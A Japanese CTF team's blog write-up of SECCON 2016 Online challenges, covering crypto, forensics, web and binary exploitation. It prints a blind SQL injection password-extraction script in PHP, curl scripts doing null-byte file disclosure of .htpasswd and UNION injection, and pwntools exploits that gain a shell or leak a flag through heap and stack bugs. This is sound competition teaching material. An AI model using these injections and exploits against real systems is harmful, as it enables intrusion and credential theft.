SECCON 2016 Online CTF に チームNaruseJunで出てました。
メンバーは成瀬順が9人くらいです。
結果は1400ptsで56thでした。
うーん、精進しなくては、ですね。
このブログ、なんかアドベントカレンダー企画をやってて記事の流れるスピードが尋常じゃないんですが、気にせず投下します。
冬コミの宣伝
今年の冬コミ(C91)に技術系の合同誌を出します。
私は今回のCTFも頻出であったSQLインジェクションについていろいろ書いてます。
他にもチームNaruseJunのメンバーが強い記事を書いてくれる!予定です。
よかったら是非お越しください。
「揚羽高校情報処理部」
木曜日(1日目) 西地区“み”ブロック-18b
Writeup
以下はwriteupです。
Vigenere (Crypto 100)
担当: nari
文字種類A~Zと{}で28種、キー長12で途中まで解読されてるVigenere暗号が渡されるとりあえず解読されてる最初の7文字に合わせてキーを作ると"VIGENER"になるので、どう考えてもキーは"VIGENERE****"になると推測。
後は残り4文字を全探索して、与えられたplaintextのmd5と一致するかをチェックすればOK。
VoIP (Forensics 100)
担当: みんな
Wiresharkに食わせれば聞ける(電話→VoIP通話) みんなで頑張って聞き取りました。Memory Analysis (Forensics 100)
担当: long_long_float
$ ~/volatility_2.5.linux.standalone/volatility_2.5_linux_x64 -f forensic_100.raw connections
Volatility Foundation Volatility Framework 2.5
Offset(V) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ---
0x8213bbe8 192.168.88.131:1034 153.127.200.178:80 1080
$ strings forensic_100.raw | grep -n10 153.127.200.178
781371-# sp
781372-the corresponding host name.
781373-# The IP address and the host name should be separated by at least one
781374-# space.
781375-# Additionally, comments (such as these) may be inserted on individual
781376-# lines or following the machine name denoted by a '#' symbol.
781377-# For example:
781378-# 102.54.94.97 rhino.acme.com # source server
781379-# 38.25.63.10 x.acme.com # x client host
781380-127.0.0.1 localhost
781381:153.127.200.178 crattack.tistory.com attack.tistory.com
781382-Gla5
781383-SrSC|
781384-20yk
781385-ObSq
781386-P3SITESP
781387-ObSc
781388-Gla5
781389-ObSq(
781390-Gxlt(
781391-SeAc
...
$ strings forensic_100.raw | grep crattack.tistory.com
Visited: SYSTEM@http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd
...
$ curl http://153.127.200.178/entry/Data-Science-import-pandas-as-pd
crattack.tistory.com
がhostsファイルによって153.127.200.178
に書き換えられているので書き換え先のアドレスでアクセスしてやるとフラグが得られる。
Cheer_msg (Exploit 100)
担当: kriw
メッセージ長(main) -> メッセージ(message) -> 名前(message) (括弧内は関数名) の順に入力をする。$ ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> 10
Message >> Hello!
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> kriw
Thank you kriw!
Message : Hello!
こんな感じ。
バイナリを眺めてみると、プログラム内部ではメッセージ長を受け取った後その分だけespを引き算していた。
メッセージ長は負の数でもokで、espの値を自由に書き換えることができる。
message関数に処理が移動すると先ほどのespがebpになり、ローカル変数はebpの相対アドレスになっている。
また、Nameはこのローカル変数として保存されているので任意アドレスを書き換えられる。
python -c 'print "-128\n" + "A"*16 + "ADDR" + "A"*4 + "ARG"'
を与えてやるとADDR
にある関数を引数ARG
で呼び出すことができる。
競技中はアドレスが特定できなかったのでbrute force attack
でシェルを起動させた。
Anti-Debugging (Binary 100)
担当: ponya
問題はPEx86のバイナリファイル。 最初のパスワード入力はI have a pen.
と入力すればパスでき、その後はとくに必要なものが出力されることなく終了する。
早速デバッガを走らせてみると、色々とデバッガのチェックがあり、どれかに引っかかるとフラグを生成する処理まで行かない。高度なアンチデバッグをやっているのかとも思ったが、どうやらif文でチェックしているだけみたいなので、パスの入力が終わったところからフラグを生成しているらしき箇所にデバッガを使って処理を飛ばせばメモリ上にフラグがある。
basiq (Web 100)
担当: kaz
競馬(?)のwebサイトです。 ログインと登録ができるようだったので、SQLインジェクションを仕掛けてみたけどダメでした。ページ内で用いられているJavaScriptのコードを読んでみると、
admin
としてログインしたときメニューに/admin/
というページへのリンクが追加される処理がありました。
var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
if(loginuser == 'admin'){
links.push({label:'Admin', href:'/admin/'});
}
ということで、このページを見に行ってみると、BASIC認証で保護されいるようでした。
ここでもSQLインジェクションを試してみると、今度はうまくいきました。
あとはブラインドSQLインジェクションでパスワードを抜きます。
<?php
// ログインを試行する
function login($pass){
// POSTリクエストを送信準備
$h = curl_init("http://admin:{$pass}@basiq.pwn.seccon.jp/admin/"); curl_setopt_array($h, [CURLOPT_RETURNTRANSFER => true]);
// POSTリクエストを送信しレスポンス取得
$resp = curl_exec($h);
// ログインに成功していたらtrue, 失敗していたらfalseを返す
return strpos($resp, "Unauthorized") === false;
}
// なんか'12345'みたいなパスワードを持つadminも登録されてる><
$pass = "SECCON{";
// パスワード長の特定
for($len = 1; ; $len++){
if(login("' OR name = 'admin' AND pass LIKE BINARY '{$pass}%' AND LENGTH(pass) = {$len} #")){
break;
}
}
echo("Password length: {$len}\n");
// パスワードの特定
for($i = 0; strlen($pass) < $len; $i++){ for($ch = 126; $ch >= 32; $ch--){
// % と _ と ' はエスケープしなければならない!
$try = $pass . chr($ch);
$try = str_replace(["%", "_", "'"], ["\\%", "\\_", "''"], $try);
if(login("' OR name = 'admin' AND pass LIKE BINARY '{$try}%' #")){
break;
}
}
$pass .= chr($ch);
echo("Hit: {$pass}\n");
}
echo("Password: {$pass}\n");
?>
なんかname
が非ユニークなカラムらしくて、偽物のパスワードを持ったadmin
アカウントが複数存在してて手こずりました。
jmper (Exploit 300)
デコンパイルしてみたら大体こんな感じ。(少し間違えているところがある。)void* my_class;
void* jmpbuf;
int student_num;
void f(){
student_num = 0;
int choice; //rbp - 0x18
void* n; //rbp - 0x8
int id; //rbp - 0x1c
char* v4; //rbp - 0x10
int v5; //rbp - 0x14
int v6; //rbp - 0x1d
while(1){
puts("1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)");
scanf("%d", &choice);
switch (choice){
case 1:
if(student_num > 30){
puts("Exception has occurred. Jump!\n");
longjmp(jmpbuf, 0x1bf52);
}
n = malloc(0x30); //48
*((int*)n) = student_num;
*((void**)(n + 0x28)) = malloc(0x20); //32
*((void**)(my_class + student_num * 8)) = n;
student_num++;
break;
case 2:
printf("%s","ID:");
scanf("%d", &id);
getchar();
if(id >= student_num || id < 0){
puts("Invalid ID.\n");
exit(1);
}
printf("%s","Input name:");
v4 = *((void**)(*((void**)(my_class + id * 8)) + 0x28));
v5 = 0;
for(; v5 <= 0x20; v4++, v5++){ v6 = getchar(); if(v6 == 0xa){ break; } *v4 = v6; } break; case 3: printf("%s","ID:"); scanf("%d", &id); getchar(); if(id >= student_num || id < 0){
puts("Invalid ID.\n");
exit(1);
}
printf("%s", "Input memo:");
v4 = *((void**)(my_class + id * 8)) + 0x8;
v5 = 0;
for(; v5 <= 0x20; v4++, v5++){ v6 = getchar(); if(v6 == 0xa){ break; } *v4 = v6; } break; case 4: printf("%s","ID:"); scanf("%d", &id); getchar(); if(id >= student_num || id < 0){ puts("Invalid ID.\n"); exit(1); } printf("%s", *((void **)(*((void **)(my_class + id * 8)) + 0x28))); break; case 5: printf("%s","ID:"); scanf("%d", &id); getchar(); if(id >= student_num || id < 0){
puts("Invalid ID.\n");
exit(1);
}
printf("%s", *((void **)(my_class + id * 8)) + 0x8);
break;
default:
exit(1);
}
}
}
int main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
puts("Welcome to my class.");
puts("My class is up to 30 people :)");
my_class = malloc(0xf0); //240
jmpbuf = malloc(0xc8); //200
int v1 = setjmp(jmpbuf);
if(v1 == 0){
f();
}else{
puts("Nice jump! Bye :)");
}
return 0;
}
見つかった脆弱性としてはStudentのMemoを書き換えるとき、
対応するStudentのNameを指すアドレスの下位1バイトを書き換えることができること。(Off-by-oneエラー)
ここをいじると任意アドレスに書き込みが可能。
- student[0]のNameの下位1バイトを書き換えてstudent[1]のNameポインタの場所を指すようにする
- ヒープ領域の近い場所にあるので可能
- student[0]のNameに適当なアドレスを書き込み、student[1]のNameを読み書きすることで任意の場所を読み書きできる
- jmpbufからstackのアドレスをリーク
しかし、それ以上は進展せずタイムアップになりました?。
あと24時間あればイケた。
終了後に解いた
- stackからlibc_start_mainのアドレスを拾ってlibcベースを計算
- mainの戻り先アドレスをlibc中のOne-gadget-RCEにする
- One-gadget-RCEが発火するようにスタックの状態とかを調整
- Studentを30人以上にしてlongjmpさせてmainをretさせる
from pwn import *
'''
p = process("./jmper")
offset_start_main = 0x201a0 + 241
offset_gadget_rce = 0xd67e5
offset_environ = 0x39af18
'''
p = remote("jmper.pwn.seccon.jp", 5656)
offset_start_main = 0x21e50 + 245
offset_gadget_rce = 0xe5765
offset_environ = 0x3c14a0
#'''
for _ in range(30):
p.recvuntil(":)")
p.sendline("1") # add student
p.recvuntil(":)")
p.sendline("3") # write memo
p.sendline("0") # -> select id
p.sendline("!"*30 + "@@" + "\x78") # -> write
p.recvuntil(":)")
p.sendline("5") # show memo
p.sendline("0") # -> select id
p.recvuntil("@@")
addr_heap = unpack(p.recv(4), 4 * 8)
log.indented("heap: %x", addr_heap)
addr_stack_ptr = addr_heap - (0x278 - 0x128)
log.indented("stack ptr: %x", addr_stack_ptr)
p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("0") # -> select id
p.sendline(p32(addr_stack_ptr)) # -> name
p.recvuntil(":)")
p.sendline("4") # show name
p.sendline("1") # -> select id
p.recvuntil("ID:")
addr_stack = unpack(p.recv(6), 6 * 8)
log.indented("stack: %x", addr_stack)
p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("0") # -> select id
p.sendline(p64(addr_stack - 0xd8)) # -> name
p.recvuntil(":)")
p.sendline("4") # show name
p.sendline("1") # -> select id
p.recvuntil("ID:")
addr_libc = unpack(p.recv(6), 6 * 8) - offset_start_main
log.indented("libc: %x", addr_libc)
p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("1") # -> select id
p.sendline(p64(addr_libc + offset_gadget_rce)) # -> name
p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("0") # -> select id
p.sendline(p64(addr_libc + offset_environ)) # -> name
p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("1") # -> select id
p.sendline(p64(0)) # -> name
p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("0") # -> select id
p.sendline(p64(addr_stack - 0x80)) # -> name
p.recvuntil(":)")
p.sendline("2") # name student
p.sendline("1") # -> select id
p.sendline(p64(0)) # -> name
p.recvuntil(":)")
p.sendline("1") # add student (cause exception)
p.interactive()
PNG over Telegraph (Crypto 300)
担当: phi16, nari, to-hutohu, long_long_float, ninja
Telegraphってなんじゃ、ってことで調べると これ が引っかかる。 これに従って先頭100字くらいを自分で解読してみるとRFIE4RYNBINAUAAAAAGUSSCEKIAAAAW2AAAAFWQBAMAAAABVEBTFAAAAAADFATCUIUAAAAH77772LWM73UAAAAACORJE4U7777ELになる。文字種が32個、Aが連続することが多いので0だとあたりをつけて
A-Z
の順番に5bitを割り当てていくと
R F I E 4 R 10001001010100000100 10001 1000100101010000010011100100 8 9 5 0 4 E 4とPNGのヘッダーに一致する。これで
4
が11100
、結局A-Z2-7
の順番に並んでいることがわかった。
あとは動画から文字を読み出すだけである。
しかしこれが問題で、普通のリアルの動画なので微妙にカメラのズレや光の差などがあるのと、1秒ごとにフレームを切り出しても後半は微妙にブレるという大きな問題にぶち当たる。
オフセットに0.3秒を指定してフレーム切り出しをするとブレは解消されたものの、本質的な問題は変わってない。
そこで人力を使う。
・・・というか、機械でやるのを諦めて私(phi16)が手で500字くらい解読していた頃に他の人達も参加してくれた。残り2時間。
いっぱい判定したおかげでコードは記憶できたもののさすがにその他のオーバーヘッドで時間がとられる。
最後5分くらいに段々みんなの答えが集まり始める。とりあえず試しにと思って未だわからない部分をAで埋めて自作デコーダに投げる。
すべておしまい。
時間切れで完全敗北。
Backpacker's Capricious Cipher (Crypto 200)
担当: nari
sumをpub_key[0]、pubをpub_key[1]とする。 またx[i]をencrypt中の最初の乱数、y[i]を2つ目の乱数、z[i]を3つ目の乱数を、それぞれループイテレータに関して保存した配列とする。enc[[]] = message - sum*Σ(y[i]) enc[[a]] = -sum*x[a] + pub[a]*Σ(y[i]) - z[a] enc[[a,a]] = pub[a]*x[a] + z[a] enc[[a,b]] = pub[a]*x[b] + pub[b]*x[a]であることが分かる。enc[[0,1]],enc[[0,2]],enc[[1,2]]の情報からx[0],x[1],x[2]の情報が手に入るので、それを利用してxを求める。
次にenc[[a,a]]の情報からzを求める。
最後にenc[[0]]からΣ(y[i])が求められれば、enc[[]]からmessageが復元できる。
uncomfortable web (Web 300)
担当: kaz
スクリプトをアップロードするとサーバ側で実行してくれるので、 これを利用して閉ざされたネットワーク内にいるサーバに攻撃します。流れとしてはこんなかんじでした。
shスクリプトでcurl叩くだけでイケました。
- 攻撃しろっていわれてる/authed/はBASIC認証で保護されているので見れない
- なんかsecret.cgiってファイルが置いてあるのが見える(全然secretじゃないけど)
- secret.cgiにアクセスすると、パラメータtxtを渡せるようになってる
- ファイル内に書いてあるパラメータtxt=aで試すと、どうやらauthed/{$txt}.txtを読んでいるらしい
- ならばということで、NULLバイトを仕組んでtxt=.htpasswd%00としてauthed/.htpasswdを読む
- John the Ripperでパスワードを特定する
- /authed/sqlinj/というディレクトリが読めて、中には100個のCGIが置いてある
- ディレクトリ名からSQLインジェクションっぽさがあるので、全CGIに対して試行する
- 72.cgiでSQLインジェクションが成功してる
- UNIONで内部データベース読めるかなーって試したらsqlite_masterが存在した
- UNIONでsqlite_masterからデータベース情報を抜く
- f1agsってテーブルがあることが分かるので、UNIONでf1agを抜く
#!/bin/sh
curl --silent http://127.0.0.1:81/
#!/bin/sh
curl --silent http://127.0.0.1:81/authed/
curl --silent http://127.0.0.1:81/select.cgi
#!/bin/sh
curl --silent http://127.0.0.1:81/select.cgi?txt=a
curl --silent http://127.0.0.1:81/select.cgi?txt=b
#!/bin/sh
curl --silent http://127.0.0.1:81/select.cgi?txt=.htpasswd%00
# John the ripperでパスを特定します
#!/bin/sh
curl --silent http://keigo:test@127.0.0.1:81/authed/
#!/bin/sh
curl --silent http://keigo:test@127.0.0.1:81/authed/sqlinj/
#!/bin/sh
curl --silent http://keigo:test@127.0.0.1:81/authed/sqlinj/1.cgi
#!/bin/sh
curl --silent http://keigo:test@127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938
#!/bin/sh
curl --silent --data-urlencode "no=' OR 1 -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/{1..100}.cgi
#!/bin/sh
curl --silent --data-urlencode "no=' UNION SELECT 1,1,1 -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi
#!/bin/sh
curl --silent --data-urlencode "no=' UNION SELECT 1,1,1 FROM sqlite_master -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi
#!/bin/sh
curl --silent --data-urlencode "no=' UNION SELECT sql,1,1 FROM sqlite_master -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi
#!/bin/sh
curl --silent --data-urlencode "no=' UNION SELECT f1ag,1,1 FROM f1ags -- " http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi
↑ のスクリプトを走らせた結果はこんなかんじ
http://pastebin.com/bFXAVkYx
Checker (Exploit 300)
担当: kaz
深夜、みんな寝てしまったのでひとりでデコンパイルした。#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char name[128];
char flag[128] = "SECCON{*****}"; // ←ホントはread_flagって関数があってそこで読み込んでる
int getaline(char* buf /* rbp-0x18 */){
/* int stack_canary = *(fs:0x28); */
char c = 0xff; /* rbp-0xd */
int i = 0; /* rbp-0xc */
for(; c != '\0'; i++){
if(read(0, &c, 1) == 0){
break;
}
if(c == '\n' /* 0xa */){
c = '\0';
}
buf[i] = c;
}
/*
if(stack_canary != *(fs:0x28)){
__stack_chk_fail();
}
*/
return i;
}
int main(){
/* long stack_canary = *(fs:0x28); */
char buf[0x88]; /* rbp-0x90 */
dprintf(1, "Hello! What is your name?\nNAME : ");
getaline(name);
do{
dprintf(1, "\nDo you know flag?\n>> ");
getaline(buf);
}while(strcmp(buf, "yes") != 0);
dprintf(1, "\nOh, Really??\nPlease tell me the flag!\nFLAG : ");
getaline(buf);
if(buf[0] == 0){
dprintf(1, "Why won't you tell me that???\n");
exit(0);
}
if(strcmp(flag, buf) == 0){
dprintf(1, "Thank you, %s!!\n", name);
}else{
dprintf(1, "You are a liar...\n", name);
}
/*
if(stack_canary != *(fs:0x28)){
__stack_chk_fail();
}
*/
return 0;
}
getaline()
は\0
か\n
が来るまで読み込み続けるのでふつうにBOFします。
でもStackCanaryがいるので悪いことしようとすると死にます。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
さてどうしようってトコロなんですけど、
katagaitaiさんの勉強会資料で読んだargv[0]リークを思い出したのでやってみたらイケました。
argv[0]リークの解説は省略
(↓ katagaitaiさんの勉強会資料)
http://www.slideshare.net/bata_24/katagaitai-ctf-4-57598780
from pwn import *
#p = process("./checker")
p = remote("checker.pwn.seccon.jp", 14726)
p.sendline("narusejun")
p.sendline("#" * 381)
p.sendline("#" * 380)
p.sendline("#" * 376 + "\xc0\x10\x60")
p.sendline("yes")
p.sendline("flag")
print p.recvall()
\0
以降は読んでくれないので、\n
が\0
として格納されることを利用して、
数回に分けて上位のビットを0埋めしています。
その後.bssにあるflag
のアドレスを書き込んでいます。
本当はもっと難しかったらしいです。
http://shift-crops.hatenablog.com/#checker-Exploit200-300